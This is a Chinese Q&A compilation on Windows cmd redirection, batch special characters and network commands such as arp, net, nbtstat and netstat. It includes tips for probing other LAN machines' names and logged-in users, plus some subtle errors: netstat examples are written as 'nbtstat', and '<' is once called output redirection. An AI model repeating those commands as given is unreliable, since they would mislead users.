⑴ cmd重定向問題
加 /B (不另開窗):
start /B "K:\LAOMAOTYAO\計算機課程序\MyProjects\CAR manager\Debug\CAR manager.exe" >> K:\car.txt
或不用 start
在DOS窗直接打命令時,拍入:
"K:\LAOMAOTYAO\計算機課程序\MyProjects\CAR manager\Debug\CAR manager.exe" >> K:\car.txt
在 C/C++ 里用system 調用, 單反斜杠 改用 雙反斜杠. K:\\LAOMAOTYAO\\.....
⑵ C#關於CMD重定向
//先讀取文本中的命令假設為strCommand
string strCommand="ipconfig";
string strRst=string.Empty;
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + strCommand;
p.StartInfo.UseShellExecute = false;
//重定向標准輸入
//p.StartInfo.RedirectStandardInput = false;
//重定向標准輸出
p.StartInfo.RedirectStandardOutput = true;
//重定向錯誤輸出
p.StartInfo.RedirectStandardError = false;
//設置不顯示窗口
p.StartInfo.CreateNoWindow = true;
try
{
//啟動進程
p.Start();
//停止3秒鍾
Thread.Sleep(3000);
//如果進程結束
//或者你可以等到結束再獲取
if (p.HasExited)
{
//從輸出流獲取執行結果
strRst = p.StandardOutput.ReadToEnd();
}
else
{
p.Kill();
}
}
catch (Exception ex)
{
strRst = "";
}
finally
{
p.Close();
}
//strRst即為運行後的結果,再將他寫入另一個文本
⑶ c語言重定向問題。 是否可以用windows的cmd進行重定向如果可以該怎麼做。
stdin
stdout
stderr
這三個文件一般在stdio.h中進行宏定義,可以看一下。
C語言默認輸出到stdout,輸入默認取自stdin,可以通過「重定向」修改默認的輸入、輸出目的。實際執行時,cmd一般把stdin,stdout 連接到 con,即控制台。
比如 puts("hello"); 和 fputs( stdout, "hello")是一樣的效果。寫程序時如果想避免輸出被重定向,可以寫stderr,比如fputs( stderr,"error" ),那麼即使輸出重定向,error仍將直接輸出到控制台con。
⑷ 求教幾個CMD小命令!
CMD命令小集
1.最基本,最常用的,測試物理網路的
ping 192.168.10.88 -t ,參數-t是等待用戶去中斷測試
2.查看DNS、IP、Mac等
A.Win98:winipcfg
B.Win2000以上:Ipconfig/all
C.NSLOOKUP:如查看河北的DNS
C:\>nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 則將DNS改為了41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68
Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212
3.網路信使
Net send 計算機名/IP|* (廣播) 傳送內容,注意不能跨網段
net stop messenger 停止信使服務,也可以在面板-服務修改
net start messenger 開始信使服務
4.探測對方對方計算機名,所在的組、域及當前用戶名
ping -a IP -t ,只顯示NetBios名
nbtstat -a 192.168.10.146 比較全的
5.netstat -a 顯示出你的計算機當前所開放的所有埠
netstat -s -e 比較詳細的顯示你的網路資料,包括TCP、UDP、ICMP 和 IP的統計等
6.探測arp綁定(動態和靜態)列表,顯示所有連接了我的計算機,顯示對方IP和MAC地址
arp -a
7.在代理伺服器端
捆綁IP和MAC地址,解決區域網內盜用IP:
ARP -s 192.168.10.59 00-50-ff-6c-08-75
解除網卡的IP與MAC地址的綁定:
arp -d 網卡IP
8.在網路鄰居上隱藏你的計算機
net config server /hidden:yes
net config server /hidden:no 則為開啟
9.幾個net命令
A.顯示當前工作組伺服器列表 net view,當不帶選項使用本命令時,它就會顯示當前域
或網路上的計算機上的列表。
比如:查看這個IP上的共享資源,就可以
C:\>net view 192.168.10.8
在 192.168.10.8 的共享資源
資源共享名 類型 用途 注釋
----------------------------
網站服務 Disk
命令成功完成。
B.查看計算機上的用戶帳號列表 net user
C.查看網路鏈接 net use
例如:net use z: \\192.168.10.8\movie 將這個IP的movie共享目錄映射為本地的Z盤
D.記錄鏈接 net session
例如:
C:\>net session
計算機 用戶名 客戶類型 打開空閑時間
------------------------------------------------------------------------------
-
\\192.168.10.110 ROME Windows 2000 2195 0 00:032
\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命令成功完成。
10.路由跟蹤命令
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了顯示路由外,還提供325S的分析,計算丟失包的%
11.關於共享安全的幾個命令
A.查看你機器的共享資源 net share
B.手工刪除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$後有空格。
C.增加一個共享:
c:\net share mymovie=e:\downloads\movie /users
mymovie 共享成功。
同時限制鏈接用戶數為1人。
12.在DOS行下設置靜態IP
A.設置靜態IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地鏈接" static IP地址 mask gateway
B.查看IP設置
interface ip>show address
13.Arp
顯示和修改"地址解析協議 (ARP)"緩存中的項目。ARP 緩存中包含一個或多個表,它們
用於存儲 IP 地址及其經過解析的乙太網或令牌環物理地址。計算機上安裝的每一個以太
網或令牌環網路適配器都有自己單獨的表。如果在沒有參數的情況下使用,則 arp 命令
將顯示幫助信息。
語法
arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr
[IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr]
參數
-a [InetAddr] [-N IfaceAddr]
顯示所有介面的當前 ARP 緩存表。要顯示指定 IP 地址的 ARP 緩存項,請使用帶有
InetAddr 參數的 arp -a,此處的 InetAddr 代表指定的 IP 地址。要顯示指定介面的
ARP 緩存表,請使用 -N IfaceAddr 參數,此處的 IfaceAddr 代表分配給指定介面的 IP
地址。-N 參數區分大小寫。
-g [InetAddr] [-N IfaceAddr]
與 -a 相同。
-d InetAddr [IfaceAddr]
刪除指定的 IP 地址項,此處的 InetAddr 代表 IP 地址。對於指定的介面,要刪除表中
的某項,請使用 IfaceAddr 參數,此處的 IfaceAddr 代表分配給該介面的 IP 地址。要
刪除所有項,請使用星號 (*) 通配符代替 InetAddr。
-s InetAddr EtherAddr [IfaceAddr]
向 ARP 緩存添加可將 IP 地址 InetAddr 解析成物理地址 EtherAddr 的靜態項。要向指
定介面的表添加靜態 ARP 緩存項,請使用 IfaceAddr 參數,此處的 IfaceAddr 代表分
配給該介面的 IP 地址。
/?
在命令提示符顯示幫助。
注釋
InetAddr 和 IfaceAddr 的 IP 地址用帶圓點的十進制記數法表示。
物理地址 EtherAddr 由六個位元組組成,這些位元組用十六進制記數法表示並且用連字元隔
開(比如,00-AA-00-4F-2A-9C)。
通過 -s 參數添加的項屬於靜態項,它們不會 ARP 緩存中超時。如果終止 TCP/IP 協議
後再啟動,這些項會被刪除。要創建永久的靜態 ARP 緩存項,請在批處理文件中使用適
當的 arp 命令並通過"計劃任務程序"在啟動時運行該批處理文件。
只有當網際協議 (TCP/IP) 協議在 網路連接中安裝為網路適配器屬性的組件時,該命令
才可用。
範例
要顯示所有介面的 ARP 緩存表,可鍵入:
arp -a
對於指派的 IP 地址為 10.0.0.99 的介面,要顯示其 ARP 緩存表,可鍵入:
arp -a -N 10.0.0.99
要添加將 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的靜態 ARP 緩存項
,可鍵入:
arp -s 10.0.0.80 00-AA-00-4F-2A-9C
14.Rsh
在運行 RSH 服務的遠程計算機上運行命令。Windows XP 和 Windows 2000 不提供 RSH
服務。Windows 2000 Server Resource Kit 提供名為 Rshsvc.exe 的 RSH 服務。使用不
帶參數的 rsh 顯示幫助。
語法
rsh [Host] [-l UserName] [-n] [Command]
參數
Host
指定運行 command 的遠程計算機。
-l UserName
指定遠程計算機上使用的用戶名。在省略情況下,使用當前登錄用戶的名稱。
-n
將 rsh 的輸入重定向到 NULL 設備。這防止本地計算機命令結果的顯示。
Command
指定要運行的命令。
/?
在命令提示符顯示幫助。
注釋
標准操作
rsh 命令將標准輸入復制到遠程 command,將遠程 command 的標准輸出復制到其標准輸
出,將遠程 command 的標准錯誤復制到其標准錯誤。Rsh 通常在遠程命令終止時終止。
使用重定向符號
為了使重定向在遠程計算機上發生,要以引號引住重定向符號(例如 ">>")。如果不使
用引號,重定向會在本地計算機發生。例如,以下命令將遠程文件"RemoteFile"附加到
本地文件"LocalFile"中:
rsh othercomputer cat remotefile >> localfile
以下命令將遠程文件 Remotefile 附加到遠程文件 otherremotefile 中:
rsh othercomputer cat remotefile ">>" otherremotefile
使用 rsh
在使用已登錄到某個域並且運行 Windows XP Professional 的計算機時,該域的主域控
制器必須可用於確認用戶名或 rsh 命令失敗。
.rhosts 文件
.rhosts 文件通常許可 UNIX 系統的網路訪問許可權。.rhosts 文件列出可以訪問遠程計算
機的計算機名及關聯的登錄名。在正確配置了 .rhosts 文件的遠程計算機上運行
rcp、rexec 或 rsh 命令時,您不必提供遠程計算機的登錄和密碼信息。
.rhosts 文件是一個文本文件,該文件中每一行為一個條目。條目由本地計算機名、本地
用戶名和有關該條目的所有注釋組成。每個條目均由製表符或空格分開,注釋用符號 (#)
打頭。例如:
host7 #This computer is in room 31A
.rhosts 文件必須在遠程計算機的用戶主目錄中。有關遠程計算機 .rhosts 文件特定執
行的詳細信息,請參閱遠程系統的文檔。
只有當網際協議 (TCP/IP) 協議在 網路連接中安裝為網路適配器屬性的組件時,該命令
才可用。
範例
要以名稱 admin1 在遠程計算機 vax1 上執行 telcon 命令,請鍵入:
rsh vax1 -l admin1 telcon
15.Tftp
向運行平凡文件傳輸協議 (TFTP) 服務或 daemon 的遠程計算機(尤其是運行 UNIX 的計
算機)傳輸文件或從運行平凡文件傳輸協議 (TFTP) 服務或 daemon 的遠程計算機(尤其
是運行 UNIX 的計算機)傳輸文件。
語法
tftp [-i] [Host] [{get | put}] [Source] [Destination]
參數
-i
指定二進制圖像傳送模式(也稱為八進制模式)。在二進制圖像模式下,文件以一個位元組
為單位進行傳輸。在傳送二進制文件時使用該模式。如果省略了 -i,文件將以 ASCII 模
式傳送。這是默認的傳送模式。該模式將行尾 (EOL) 字元轉換為指定計算機的適當格式
。傳送文本文件時使用該模式。如果文件傳送成功,將顯示數據傳輸率。
Host
指定本地或遠程計算機。
put
將本地計算機上的 Destination 文件傳送到遠程計算機上的 Source 文件。因為 TFTP
協議不支持用戶身份驗證,所以用戶必須登錄到遠程計算機,同時文件在遠程計算機上必
須可寫。
get
將遠程計算機上的 Destination 文件傳送到本地計算機上的 Source 文件。
Source
指定要傳送的文件。
Destination
指定將文件傳送到的位置。如果省略了 Destination,將假定它與 Source 同名。
/?
在命令提示符顯示幫助。
注釋
使用 get 參數
如果將本地計算機上的文件 FileTwo 傳送到遠程計算機上的文件 FileOne,則指定 put
。如果將遠程計算機上的文件 FileTwo 傳送到遠程計算機上的文件 FileOne,則指定
get。
Windows XP 或 Windows 2000 不提供一般用途的 TFTP 伺服器。Windows 2000 提供的
TFTP 伺服器服務只為 Windows XP 和 Windows 2000 客戶端計算機提供遠程引導功能。
只有當網際協議 (TCP/IP) 協議在 網路連接中安裝為網路適配器屬性的組件時,該命令
才可用。
範例
要從本地計算機將文件 Users.txt 傳送到遠程計算機 vax1 上的 Users19.txt,請鍵入
:
tftp vax1 put users.txt users19.txt
16.Nbtstat
顯示本地計算機和遠程計算機的基於 TCP/IP (NetBT) 協議的 NetBIOS
統計資料、NetBIOS 名稱表和 NetBIOS 名稱緩存。Nbtstat 可以刷新 NetBIOS 名稱緩存
和注冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫
助。
語法
nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S]
[Interval]
參數
-a remotename
顯示遠程計算機的 NetBIOS 名稱表,其中,RemoteName 是遠程計算機的 NetBIOS 計算
機名稱。NetBIOS 名稱表是運行在該計算機上的應用程序使用的 NetBIOS 名稱列表。
-A IPAddress
顯示遠程計算機的 NetBIOS 名稱表,其名稱由遠程計算機的 IP 地址指定(以小數點分
隔)。
-c
顯示 NetBIOS 名稱緩存內容、NetBIOS 名稱表及其解析的各個地址。
-n
顯示本地計算機的 NetBIOS 名稱表。Registered 中的狀態表明該名稱是通過廣播或
WINS 伺服器注冊的。
-r
顯示 NetBIOS 名稱解析統計資料。在配置為使用 WINS 的 Windows XP 計算機上,該參
數將返回已通過廣播和 WINS 解析和注冊的名稱號碼。
-R
清除 NetBIOS 名稱緩存的內容並從 Lmhosts 文件中重新載入帶有 #PRE 標記的項目。
-RR
重新釋放並刷新通過 WINS 注冊的本地計算機的 NetBIOS 名稱。
-s
顯示 NetBIOS 客戶和伺服器會話,並試圖將目標 IP 地址轉化為名稱。
-S
顯示 NetBIOS 客戶和伺服器會話,只通過 IP 地址列出遠程計算機。
Interval
重新顯示選擇的統計資料,可以中斷每個顯示之間的 Interval 中指定的秒數。按
CTRL+C 停止重新顯示統計信息。如果省略該參數, netstat 將只顯示一次當前的配置信
息。
/?
在命令提示符顯示幫助。
注釋
Nbtstat 命令行參數區分大小寫。
下表列出了由 Nbtstat 生成的列標題。 標題 說明
Input 接收的位元組數。
Output 發送的位元組數。
In/Out 該連接是否從計算機(傳出)或者其他計算機到本地計算機(傳入)。
Lift 名稱表緩存項在被清除之前所存留的時間。
Local Name 本地 NetBIOS 名稱與連接相關聯。
Remote Host 與遠程計算機相關的名稱或 IP 地址。
<03> 轉化為十六進制的 NetBIOS 名稱的最後一個位元組。每個 NetBIOS 名稱長度均為 16
個字元。由於最後一個位元組通常有特殊的意義,因為相同的名稱(只有最後一個位元組不同
)可能在一台計算機上出現幾次。例如,<0> 在 ASCII 文本中是一個空格。
Type 名稱類型。名稱可以是單個名稱,也可以是組名稱。
Status 遠程計算機上是否在運行 NetBIOS 服務("已注冊"),或同一計算機名是否已
注冊了相同的服務("沖突")。
State NetBIOS 連接的狀態。
下表列出了可能的 NetBIOS 連接狀態。 狀態 說明
已連接 會話已建立。
關聯 連接的終結點已經被創建並與 IP 地址關聯。
正接聽 該終結點對內向連接可用。
空閑 該結束點已被打開單不能接收連接。
正在連接 會話處於連接階段。在此階段正在解析所選目標的由名稱到 IP 地址的映射。
接受 入站會話當前正在被接受,將在短期內連接。
重新連接 會話將試圖重新連接(如果第一次連接失敗)。
出站 會話正處於連接階段。此階段正在創建 TCP 連接。
入站 入站會話在連接期。
正在斷開 會話正在斷開連接。
已中斷連接 本地計算機已斷開連接,並正等待遠程系統的確認。
只有當網際協議 (TCP/IP) 協議在 網路連接中安裝為網路適配器屬性的組件時,該命令
才可用。
範例
要顯示 NetBIOS 計算機名為 CORP07 的遠程計算機的 NetBIOS 名稱表,請鍵入:
nbtstat -a CORP07
要顯示所分配 IP 地址為 10.0.0.99 的遠程計算機的 NetBIOS 名稱表,請鍵入:
nbtstat -A 10.0.0.99
要顯示本地計算機的 NetBIOS 名稱表,請鍵入:
nbtstat -n
要顯示本地計算機 NetBIOS 名稱緩存的內容,請鍵入:
nbtstat -c
要清除 NetBIOS 名稱緩存並重新裝載本地 Lmhosts 文件中帶標記 #PRE 的項目,請鍵入
:
nbtstat -R
要釋放通過 WINS 伺服器注冊的 NetBIOS 名稱並對其重新注冊,請鍵入:
nbtstat -RR
要每隔 5 秒以 IP 地址顯示 NetBIOS 會話統計資料,請鍵入:
nbtstat -S 5
17.Netstat
顯示活動的 TCP 連接、計算機偵聽的埠、乙太網統計信息、IP 路由表、IPv4 統計信
息(對於 IP、ICMP、TCP 和 UDP 協議)以及 IPv6 統計信息(對於 IPv6、ICMPv6、通
過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議)。使用時如果不帶參數,netstat 顯示活
動的 TCP 連接。
語法
netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]
參數
-a
顯示所有活動的 TCP 連接以及計算機偵聽的 TCP 和 UDP 埠。
-e
顯示乙太網統計信息,如發送和接收的位元組數、數據包數。該參數可以與 -s 結合使用。
-n
顯示活動的 TCP 連接,不過,只以數字形式表現地址和埠號,卻不嘗試確定名稱。
-o
顯示活動的 TCP 連接並包括每個連接的進程 ID (PID)。可以在 Windows 任務管理器中
的"進程"選項卡上找到基於 PID 的應用程序。該參數可以與 -a、-n 和 -p 結合使用
。
-p Protocol
顯示 Protocol 所指定的協議的連接。在這種情況下,Protocol 可以是
tcp、udp、tcpv6 或 udpv6。如果該參數與 -s 一起使用按協議顯示統計信息,則
Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。
-s
按協議顯示統計信息。默認情況下,顯示 TCP、UDP、ICMP 和 IP 協議的統計信息。如果
安裝了 Windows XP 的 IPv6 協議,就會顯示有關 IPv6 上的 TCP、IPv6 上的
UDP、ICMPv6 和 IPv6 協議的統計信息。可以使用 -p 參數指定協議集。
-r
顯示 IP 路由表的內容。該參數與 route print 命令等價。
Interval
每隔 Interval 秒重新顯示一次選定的信息。按 CTRL+C 停止重新顯示統計信息。如果省
略該參數,netstat 將只列印一次選定的信息。
/?
在命令提示符顯示幫助。
注釋
與該命令一起使用的參數必須以連字元 (-) 而不是以短斜線 (/) 作為前綴。
Netstat 提供下列統計信息:
Proto
協議的名稱(TCP 或 UDP)。
Local Address
本地計算機的 IP 地址和正在使用的埠號。如果不指定 -n 參數,就顯示與 IP 地址和
埠的名稱對應的本地計算機名稱。如果埠尚未建立,埠以星號(*)顯示。
Foreign Address
連接該插槽的遠程計算機的 IP 地址和埠號碼。如果不指定 -n 參數,就顯示與 IP 地
址和埠對應的名稱。如果埠尚未建立,埠以星號(*)顯示。
(state)
表明 TCP 連接的狀態。可能的狀態如下:
CLOSE_WAIT
CLOSED
ESTABLISHED
FIN_WAIT_1
FIN_WAIT_2
LAST_ACK
LISTEN
SYN_RECEIVED
SYN_SEND
TIMED_WAIT
有關 TCP 連接狀態的信息,請參閱 RFC 793。
只有當網際協議 (TCP/IP) 協議在 網路連接中安裝為網路適配器屬性的組件時,該命令
才可用。
範例
要想顯示乙太網統計信息和所有協議的統計信息,請鍵入下列命令:
netstat -e -s
要想僅顯示 TCP 和 UDP 協議的統計信息,請鍵入下列命令:
netstat -s -p tcp udp
要想每 5 秒鍾顯示一次活動的 TCP 連接和進程 ID,請鍵入下列命令:
nbtstat -o 5
要想以數字形式顯示活動的 TCP 連接和進程 ID,請鍵入下列命令:
nbtstat -n -o
⑸ CMD的命令字元
@
\\隱藏命令的回顯。
~
\\在for中表示使用增強的變數擴展;
在set中表示使用擴展環境變數指定位置的字元串;
在set/a中表示按位取反。
%
\\使用兩個%包含一個字元串表示引用環境變數。比如一個%time%可以擴展到當前的系統時間;
單個%緊跟0-9的一個數字表示引用命令行參數;
用於for中表示引用循環變數;
連續的兩個%表示執行時脫為一個%。
^
\\取消轉義字元,即將所有轉義字元的轉義作用關閉。比如要在屏幕顯示一些特殊的字元,比如> >> | ^等時,就可以在其前面加一個^符號來顯示這個^後面的字元了,^^就是顯示一個^,^|就是顯示一個|字元了;
在set/a中是按位異;
在findstr/r的[]中表示不匹配指定的字元集。
&
\\命令連接字元。比如我要在一行文本上同時執行兩個命令,就可以用&命令連接這兩個命令;
在set/a中是按位與。
*
\\代表任意個任意字元,就是我們通常所說的"通配符";比如想在c盤的根目錄查找c盤根目錄里所有的文本文件(.txt),那麼就可以輸入命令"dir c:\*.txt";
在set/a中是乘法。比如"set/a x=4*2",得到的結果是8;
在findstr/r中表示將前一個字元多次匹配。
()
\\命令包含或者是具有優先權的界定符吧,比如for命令要用到這個(),我們還可以在if,echo等命令中見到它的身影;
-
\\范圍表示符,比如日期的查找,for命令里的tokens操作中就可以用到這個字元;
在findstr/r中連接兩個字元表示匹配范圍;
-跟在某些命令的/後表示取反向的開關。
+
\\主要是在命令裡面會用到它,表示將很多個文件合並為一個文件,就要用到這個+字元了;
在set/a中是加法。
|
\\管道符。就是將上一個命令的輸出,作為下一個命令的輸入."dir /a/b | more"就可以逐屏的顯示dir命令所輸出的信息;
在set/a中是按位或;
在幫助文檔中表示其前後兩個開關、選項或參數是二選一的。
:
\\標簽定位符,可以接受goto命令所指向的標簽。比如在批處理文件裡面定義了一個":begin"標簽,用"goto begin"命令就可以轉到":begin"變遷後面來執行批處理命令了。
" "
\\界定符,在表示帶有空格的路徑時常要用""來將路徑括起來,在一些命令裡面也需要" "符號;
在for/f中將表示它們包含的內容當作字元串分析;
在for/f "usebackq"表示它們包含的內容當作文件路徑並分析其文件的內容;
在其它情況下表示其中的內容是一個完整的字元串,其中的>、>>、<、&、|、空格等不再轉義。
/
\\表示其後的字元(串)是命令的功能開關(選項)。比如"dir /s/b/a-d"表示"dir"命令指定的不同的參數;
在set/a中表示除法。
<
\\命令重定向符,將其前面的命令的輸出結果重新定向到其後面的設備中去,後面的設備中的內容被覆蓋。比如可以用"dir > lxmxn.txt"將"dir"命令的結果輸出到"lxmxn.txt"這個文本文件中去;
在findstr/r中表示匹配單詞的右邊界,需要配合轉義字元\使用。
>>
\\命令重定向符。將其前面的命令的輸出結果重新定向到其後面的設備中去,後面設備中的內容沒有被覆蓋。
<
\\將其後面的文件的內容作為其前面命令的輸入。
在findstr/r中表示匹配單詞的左邊界,需要配合轉義字元\使用。
=
\\賦值符號,用於變數的賦值。比如"set a=windows"的意思意思是將"windows"這個字元串賦給變數"a";
在set/a中表示算術運算,比如"set /a x=5-6*5"。
\
\\這個"\"符號在有的情況下,代表的是當前路徑的根目錄.比如當前目錄在c:\windows\system32下,那麼你"dir \"的話,就相當與"dir c:\"
在findstr/r中表示正則轉義字元。
''
在for/f中表示將它們包含的內容當作命令行執行並分析其輸出;
在for/f "usebackq"中表示將它們包含的字元串當作字元串分析。
.
\\
在路徑的\後緊跟或者單獨出現時:
一個.表示當前目錄;
兩個.表示上一級目錄;
在路徑中的文件名中出現時:
最後的一個.表示主文件名與擴展文件名的分隔。
&&
\\連接兩個命令,當&&前的命令成功時,才執行&&後的命令;
||
\\連接兩個命令,當||前的命令失敗時,才執行||後的命令。
$
\\在findstr命令裡面表示一行的結束。
``
在for/f中表示它們所包含的內容當作命令行執行並分析它的輸出。
[]
在幫助文檔表示其中的開關、選項或參數是可選的;
在findstr/r中表示按其中指定的字元集匹配。
?
\\在findstr/r中表示在此位置匹配一個任意字元;
?在路徑中表示在此位置通配任意一個字元;
緊跟在/後表示獲取命令的幫助文檔。
!
\\當啟用變數延遲時,使用!!將變數名擴起來表示對變數值的引用;
在set /a中表示邏輯非。比如set /a a=!0,這時a就表示邏輯1。其他資料: 1、%是個ESCAPE字元,通常將之譯為轉義字元,但也有更形象的譯名脫逸字元、逃逸字元等。也就是說%不僅僅將與其相關的特定字元串轉義並替換為特定字元串,而且自身也會被「脫逸」。而且類似於C語言中的轉義字元"\",雙%會轉義並脫逸為單%,四%則脫為雙%。
2、for本身是一個特殊的命令,類似於一個特化的命令解釋器,因為它的功能實現需要執行多條語句,因此它必須也具有對命令行(特指do後的命令行)分析處理的功能。而command/cmd實現for時自然會借用自身原有的命令行分析模塊,因此for具有二級轉義的特性,for中do後的語句被分兩級分析和解釋,第一級在command/cmd讀入並解釋for命令行時,第二級在for讀入並解釋do命令時,它通常會對同一命令行的進行多次解釋。
然後,我們可以注意到,在do中使用命令行參數變數和環境變數時,不需要雙%,那是因為,這些變數在經過第一級轉義後,被替換成特定的不變的字元串常量,參與for循環的所有執行過程;而替代變數則要求在執行(do後的子命令行中)過程中不斷的動態變化,而這個變化自然仍需要通過脫逸字元來實現,因此使用雙%就是成了必然的選擇。
另外,還需要注意到,在命令行中使用for時不需要雙%,這源於命令解釋器對命令行與批處理的處理方式不同。在早期的DOS版本中,%在命令行中不被視為轉義字元,所以不會被轉義和脫逸,所以當時無法在命令行直接引用環境變數。而使用for時,只需要一個%供for進行轉義和脫逸就夠了。在以後的命令解釋器版本中,加入了命令行轉義的支持(主要是環境變數的支持),但命令行for使用單%的傳統仍然保留了下來。
而 cmd中的變數延遲替換是屬於特殊的情況,但不違背以上的轉義原則,只是for中的環境變數不再是常量了。
rmdir /S /Q %mhnet% 2>NUL 1>NUL 做簡單解釋
這句代碼的大意是指將 %mhnet% 指定的目錄刪除,/s 代表刪除其中的子目錄, /q 表示刪除目錄樹時不提示確認, 1>nul 表示將正確刪除目錄樹的信息禁止輸出,2>nul 表示將刪除過程中的錯誤信息禁止輸出
其中的1與2都是代表某個數據流輸入輸出的地址(NT CMD 稱之為句柄,MSDOS稱之為設備),下表(引自WinXP幫助文檔「使用命令重定向操作符 (Redirection Operators」一節))將列出可用的句柄。
句柄 句柄的數字代號 說明
STDIN 0 鍵盤輸入
STDOUT 1 輸出到命令提示符窗口
STDERR 2 錯誤輸出到命令提示符窗口
UNDEFINED 3-9 這些句柄由應用程序和各個具體工具單獨定義
0 鍵盤輸入
1 輸出到命令提示符窗口
2 錯誤輸出到命令提示符窗口
3-9 這些句柄由應用程序和各個具體工具單獨定義。
2 > nul 表示程序出錯的信息也不顯示。
call attrib -r -h c:\autoexec.bat >nul
這句其實是:
call attrib -r -h c:\autoexec.bat 1 > nul
這些1,2,0等等都是句柄,說白了就是代號,你只要知道1是代表輸出信息,2是代表出錯信息,0是代表鍵盤輸入就行了。
如果有什麼不明白的可以多看看幫助與支持。
命令行對重定向符號出現的位置不做過多限定,只要重定向符號後緊隨「字元設備」即可,故以下語句等效:
echo Hello World> hello.txt
echo Hello> Hello.txt World
echo> Hello.txt Hello World
> hello.txt echo Hello World
在NT系列命令行中,重定向的作用范圍由整個命令行轉變為單個命令語句,受到了命令分隔符&,&&,||和語句塊的制約限制。
echo Message1> msg1.txt & echo Message2> msg2.txt
if "%target%"=="" (echo message to screen ) else (echo message to file> %target%)
綜上所述,>nul 意為將此句命令所產生的標准輸出請求重新定向到空設備中,而因為此設備的緘默特性,即相當於將此語句的輸出信息屏蔽(並非隱藏);而 2>nul 則是將程序執行錯誤時的標准錯誤信息輸出請求重定向後屏蔽。它們聯合使用,即為將此語句所可能產生的所有輸出信息屏蔽。
「重定向」是MSDOS起就存在的命令行特性,負責將指定命令或語句所產生的輸入輸出請求由預設的「控制台」轉交給其它的「設備」來完成,它的啟動標志是「重定向符號」(包括「>,>>,<」三個,其各自意義見[1])出現在句中。
一般的命令行程序輸入輸出請求都通過內部定義三個「埠」(在NT下稱為「句柄」,在DOS下未定義)來完成,分別為標准輸入stdin、標准輸出stdout、標准錯誤stderr。它們通常指向的設備為控制台(console,代碼為CON),其中stdin指向控制台的鍵盤,stdout/stderr指向控制台的監視器。因此,控制台通常即指鍵盤與監視器的聯合體,這是在早期大型機的終端機上所體現出來的概念。其中的stdin可被<重定向,stdout可被>、>>重定向,而stderr在DOS下不可直接重定向,只有通過ctty或其它命令將系統控制權轉交給其它設備的方式,來間接完成。
「設備」是指可控制PC硬體或埠的設備驅動程序或埠代碼,它通常由系統底層或硬體驅動程序實現和支持。比如IO.SYS實現的控制台CON、系統時鍾CLOCK$、未知設備CONFIG$、第一串口AUX、第一並口PRN、所有串口COM1~COM4、所有並口LPT1~LPT3、可用盤符A:-X:以及上文提到的空設備NUL。還有許多其它設備,比如HIMEM.SYS實現的XMSXXXX0,EMM386.EXE實現的EMMXXXX0,IFSHLP.SYS實現的IFS$HLP$等。
在這些設備中,可以處理輸入輸出信息的很少,只有CON、NUL以及連接有輸入輸出硬體(列印機、MODEM等)的串口或並口設備。它們被稱為「字元設備」,而磁碟文件也作為一種特殊的字元設備列選其中,這就大大擴充了重定向的自由度與實用性,以致很多人也將重定向稱為「文件重定向」。
空設備NUL是一個特殊的設備,因為它沒有可控制的PC硬體或埠,而只是一個虛構的的設備或埠,它僅存在於軟體層面。正因為如此,它可以接受所有重定向的輸入輸出請求而不給出任何回應(在NT下不會給出任何輸入信息而結束輸入請求,在DOS下則反復填充127個位元組0後終止響應),這種特性使它很像天文學上的能吞噬一切物質和信息的「黑洞」,也很類似哲學上能顛轉陰陽無中生有的「玄玄之道」。它之所以存在,是因為我們需要一個可以默默無聞地無條件吸納各種冗餘輸出信息或輸入請求的「回收站」,正如「黑洞」就像一個巨大的「宇宙垃圾場」一樣
CMD沒有神經錯亂,是set處理的整數太大了,set使用雙位元組存儲整數,有32位的存貯范圍限制,也就是說它的處理范圍是2^-31~2^31-1,你的磁碟空間超過了這個范圍溢出了。
對此我沒有太好的解決辦法,只有舍棄後三位後除以1049的近似演算法。
for /f "tokens=3" %%a in ('dir /-c c:\^|find "可用位元組"') do set freesize=%%a
set /a freesize=%freesize:~0,-3%/1049>nul
echo Freesize:%freesize%
> 創建一個文件
>> 追加到一個文件後面
@ 前綴字元.表示執行時本行在cmd裡面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符號( > < &)的前導字元. 第一個只是顯示aaa 第二個輸出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的預設分隔符號.
; 注釋,表示後面為注釋
: 標號作用
│ 管道操作
; 符號當命令相同的時候可以將不同的目標用;隔離開來但執行效果不變。如執行過程中發生錯誤則只返回錯誤報告但程序還是會繼續執行
首先, @ 不是一個命令, 而是DOS 批處理的一個特殊標記符, 僅用於屏蔽命令行回顯. 下面是DOS命令行或批處理中可能會見到的一些特殊標記符:
CR(0D) 命令行結束符
Escape(1B) ANSI轉義字元引導符
Space(20) 常用的參數界定符
Tab(09) ; = 不常用的參數界定符
+ COPY命令文件連接符
* ? 文件通配符
"" 字元串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回顯屏蔽符
/ 參數開關引導符
: 批處理標簽引導符
% 批處理變數引導符
其次, :: 確實可以起到rem 的注釋作用, 而且更簡潔有效; 但有兩點需要注意:
第一, 除了 :: 之外, 任何以 :開頭的字元行, 在批處理中都被視作標號, 而直接忽略其後的所有內容, 只是為了與正常的標號相區別, 建議使用 goto 所無法識別的標號, 即在 :後緊跟一個非字母數字的一個特殊符號.
